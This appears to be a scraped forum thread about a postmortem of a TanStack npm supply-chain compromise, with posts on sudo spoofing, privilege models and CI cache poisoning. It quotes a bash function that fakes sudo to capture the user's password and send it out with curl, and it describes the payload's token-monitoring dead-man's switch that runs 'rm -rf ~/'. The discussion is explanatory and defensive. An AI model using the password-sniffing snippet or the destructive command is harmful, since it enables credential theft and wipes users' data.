Postmortem: TanStack NPM supply-chain compromise

Post by lrvick » Tue, May 12, 2026, 10:12 AM UTC

FooBarWidget wrote: post #321

lrvick wrote: post #179

Earlier quoted context omitted.

Sudo is security theater. Malware can make a fake unprivileged sudo that sniffs your password. function sudo () { realsudo=$(which sudo); read -r -s -p "[sudo] password for $USER: " password; echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1; $realsudo -S /dev/null 2>&1; $realsudo "${@:1}"; }

It would be great if 1. shells support the notion of privileged commands, that can't be overridden with PATH manipulations, aliases or functions. 2. Sudo (or PAM actually) can authenticate with your identity provider (like Entra ID) instead of a local password. Then there is nothing to sniff and you can also use 2FA or passkeys.

Post by [deleted] » Tue, May 12, 2026, 10:15 AM UTC

throwaway7356 wrote: post #338

sinsudo wrote: post #283

Earlier quoted context omitted.

Use /usr/bin/sudo yourcommand with any intermediate command not using path but it's real path hard coded. Edited: Previous suggested using \sudo but it depends of the variable path which can be modified by the attacker.

Yeah, works well: $ /usr/bin/sudo() { echo Not the real sudo.; } $ /usr/bin/sudo Not the real sudo. And every other suggestion also doesn't work if the attacker can just replace the shell.

Post by DonHopkins » Tue, May 12, 2026, 10:21 AM UTC

sinsudo wrote: post #326

DonHopkins wrote: post #319

Earlier quoted context omitted.

Unix used to have a user named "bin" just for owning all the binaries and performing installs.

The old bin user is an idea that could be modernized with a new two level sudo concept, the higher one for recovery and diagnosis, already done in Chromebook and other solutions

Post by shevy-java » Tue, May 12, 2026, 10:21 AM UTC

cube00 wrote: post #41

Please be careful when revoking tokens. It looks like the payload installs a dead-man's switch at ~/.local/bin/gh-token-monitor.sh as a systemd user service (Linux) / LaunchAgent com.user.gh-token-monitor(macOS). It polls api.github.com/user with the stolen token every 60s, and if the token is revoked (HTTP 40x), it runs rm -rf ~/. https://github.com/TanStack/router/issues/7383#issuecomment-...

Post by ryanschaefer » Tue, May 12, 2026, 10:22 AM UTC

Ciantic wrote: post #352

What I want to focus on is mental model of your CI pipeline, and problem with too much YAML, consider this quote: > Cache scope is per-repo, shared across pull_request_target runs (which use the base repo's cache scope) and pushes to main. A PR running in the base repo's cache scope can poison entries that production workflows on main will later restore. This is very difficult to understand, and teach to new people,…